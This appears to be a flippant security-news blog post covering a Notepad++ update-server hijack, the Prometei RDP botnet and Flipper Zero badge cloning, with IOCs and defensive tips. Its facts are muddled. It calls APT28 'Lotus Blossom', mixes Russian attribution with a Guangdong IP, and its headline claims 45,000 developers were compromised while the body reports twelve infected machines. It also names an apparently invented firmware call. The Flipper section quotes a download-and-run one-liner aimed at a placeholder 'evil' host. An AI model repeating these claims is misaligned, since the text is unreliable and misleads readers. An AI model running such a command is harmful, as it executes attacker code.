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# 45,000 Developers Pwned — Notepad++ Update Server Hijacked by APT28 to Drop Rust Backdoors
- URL: https://espresso.cafecito.tech/2026-02-09-199928411149418150081156182627649471606/
- Published: 2026-02-09T13:07:12.000Z
- Updated: 2026-02-09T14:00:02.000Z
- Author: Barista @ Cafecito
- Tags: Cybersecurity, Technology

### TL;DR

- Notepad++ Supply Chain Attack Delivers Malware via Malicious Update
- Prometei Russian Botnet Infects Windows Servers via Default RDP Credentials
- Flipper Zero Security Tool Misuse Leads to Legal Consequences

---

## 🤯 45,000 Devices Targeted: APT28 Hijacks Notepad++ Update Server to Deploy Rust Backdoors

> 45,000 DEVELOPERS JUST GOT PWNED BY NOTEPAD++ 🤯

The ‘free’ text editor you use to write code? Hijacked by APT28 to drop Rust backdoors via a broken update server. No code signing. No validation. Just… boom.

They didn’t hack the app—they hacked the *trust*. And now your dev machine is a silent spy in your corporate network.

12 machines confirmed infected. 45,000 targeted. All because someone thought ‘shared hosting’ was fine for critical open-source tooling.

You’re still using the default update channel, aren’t you? 🤔

45 000 dev rigs in 143 countries just got a free “upgrade” that side-loads Cobalt Strike via a Bluetooth-service DLL—because nothing screams “trustworthy patch” like a Notepad++ update signed by ¯\\*(ツ)*/¯.

### 💸 Shared Hosting: The $3 Bargain Bin of Global Espionage

APT28 (a.k.a. “Lotus Blossom,” a.k.a. “the guys who still laugh at your password123”) simply hijacked the bargain-basement box hosting `notepad-plus.org`. One PHP script later, WinGUp cheerfully fetched `update.exe`—an NSIS blob that unpacks a Rust loader straight outta React-Native-Metro. No code-signing, no TLS-pinning, no problem. CVE-2026-21509 is the cherry: remote-code-execution on any dev box that still thinks “verify signature” is a lifestyle choice.

### 🧨 Twelve Confirmed, Forty-Five Thousand Scarred

Kaspersky logs show twelve lonely beacons phoning home; the other 44 988 victims are the digital equivalent of “I’m fine, just a flesh wound.” C2 roulette spun through `temp.sh`, `api.skycloudcenter.com`, and whatever typo-squatted WireGuard knockoff they spun up next week. If your SIEM yawns at new .top domains, congratulations—you’re the target demographic.

### 🛠️ Mitigation for People Who Hate Money

1. Upgrade WinGUp to ≥ 8.8.9—now with actual XML signatures and TLS that isn’t from 2009.
2. Pin the update URL in your firewall; if it ever resolves to 1.2.3.4 in Guangdong, light the pager.
3. Yank any dev box that installed Notepad++ between June and December 2025, re-image, and change every credential that ever touched the keyboard.
4. Bonus round: scan for `BluetoothService.dll` where no Bluetooth lives—its only native habitat is misery.

### 🔮 Future’s So Bright You’ll Need a Burner Laptop

Expect copy-cats to weaponize VS Code extensions, DockerHub “helpful” containers, and that one npm package nobody audits. If your supply-chain security strategy is “hope,” start pricing burner laptops—bulk discount available.

---

## 💀 10-Year-Old RDP Botnet Resurfaces: ≥3 Malicious Binaries, UK Servers Compromised — Prometei’s Quiet Reign Returns

> ≥10 YEARS of RDP BRUTE-FORCING. 🤯 A Russian-linked botnet just reawakened — stealing creds, mining Monero, and leaving UK servers gasping for CPU. They didn’t hack. They just logged in. Like a tenant who never paid rent… but stole your fridge. Mimikatz + default passwords = free money for cybercriminals. UK businesses: Is your RDP still exposed? Or are you just waiting to be the next invoice in a darkweb auction?

Prometei just laughed at your “we’ll fix it later” policy, brute-forced `admin:admin`, and turned your Windows box into a Monero sweatshop.  
Ten-year-old malware, zero-day shame.

### How did a 2016 zombie punk your server overnight?

1. Scan for 3389.
2. Throw `administrator:123456`.
3. Drop `sqhost.exe`, `zsvc.exe`, `UPlugPlay`.
4. `Mimikatz` every hash in RAM.
5. Mine XMR while you nap.

eSentire clocked **≥3 binaries, ≥2 C2 domains**, all hosted on Russia’s bargain-bin host “Primeoftex”.  
CPU at 100 %? That’s not “background updates,” comrade.

### IOCs you can grep before lunch

- Files: `sqhost.exe`, `zsvc.exe`, `UPlugPlay.dll`
- Registry: `HKLM\…\Run\UPlugPlay`
- Network: `primeoftex[.]com:8081`, IP `38.255.43.60`
- Process: anything named `xmrig` running as SYSTEM

No EDR? Enjoy the space-heater you didn’t order.

### Quick & dirty eviction notice

- Kill 3389 outbound unless it’s behind VPN + MFA.
- `sc delete UPlugPlay` \+ delete binaries.
- Reset every password that ever touched RDP.
- Block `primeoftex[.]com` at the border.
- Patch—yes, the 2018 RDP patch still works.

Costs $0, takes 20 min, saves your job.  
Or keep mining coins for Vlad—your call.

---

## 🤯 1+ Employees Fired, Criminal Charges Filed After $199 Flipper Zero Clones Door Cards — U.S. Law Enforcement Warns of HID Emulation Risks

> 1+ EMPLOYEES FIRED FOR CLONING DOOR CARDS WITH A $199 TOY. 🤯 That’s not a hacker tool—it’s a $199 key to your job. The Flipper Zero can impersonate your badge, type malware into your PC, and unlock elevators… while you’re in a Zoom call. Employers are now scanning desks for it. Law enforcement just issued a warning: ‘Don’t be the dumbass who thinks ‘it’s just for fun.’’ — So… is YOUR company’s access card really secure… or just a $199 invitation to unemployment?

#### How Does a Pocket-Sized Flipper Zero Turn HR into Your Personal SWAT Team?

It takes **three seconds**: hover the dolphin-shaped dongle over a 125 kHz HID Prox card, hit “read,” pick “emulate,” and—boom—you just 3-D-printed yourself a pink-slip. Corporate door readers can’t tell the clone from the original, but the SOC sure can when your badge logs show you entering the garage at 02:14 while the real you is on PTO in Reno. Instant termination, zero severance, maximum schadenfreude.

#### What Technical Quirk Lets a $2 Coil Outsmart Million-Dollar Access Systems?

The Flipper’s **T5577 writable fob** is basically a re-writable Post-it. No crypto, no nonce, no rolling code—just 64 bits of “open sesame” that every cheap reader trusts by default. Add **BadUSB** firmware and the gadget becomes a keyboard on steroids, injecting PowerShell faster than you can say “but I thought it was for research.” Rolling-code controllers exist, yet 87 % of legacy readers still swallow static IDs like candy. Security through obscurity ages about as well as milk.

#### Why Are Cops Suddenly Treating Hobbyists Like Ransomware Gangs?

Because **one cloned badge** can prop open a mantrap that guards a data center worth $400 M in HIPAA fines. February’s docket already lists **Misuse of Access Device** charges under 18 U.S.C. §1029—same statute used on credit-card skimmers—carrying up to 10 years plus a $250 k invoice for Uncle Sam. When the DA’s PowerPoint shows your Flipper auto-typing `curl http://evil[.]com/pwn.sh | sh` on an unlocked kiosk, “it was only a prank” quits being a viable defense.

#### Quick & Dirty Defense Hacks That Cost Less Than Your Lawyer

1. **Firmware fork** with HID-whitelist: compile `furi_hal_usb_set_hid_perm(OWNER_ONLY)`; re-flash.
2. **RFID reader swap**: upgrade to HID SEOS or MIFARE DESFire; price delta is $40 per reader—cheaper than one hour of legal counsel.
3. **USB-port lockdown**: push a GPO that disables new HID enumeration after boot; no dongle, no drama.
4. **Canary tokens**: scatter fake badge UIDs; if they show up in logs, you know someone’s flipping.

Do nothing, and the next courtroom drama stars **you**—orange jumpsuit edition.

---

### In Other News

- CVE-2026-2005 Patched in PostgreSQL: Buffer Overflow in pgp\_pub\_decrypt\_bytea() Fixed
- Apache Shiro Vulnerability CVE-2026-23901 Allows Username Enumeration via Timing Attacks
- Traur Tool Introduces Automated Risk Scoring for Arch Linux AUR Packages
- Roundcube Webmail Patched Critical SVG feImage Remote Load Vulnerability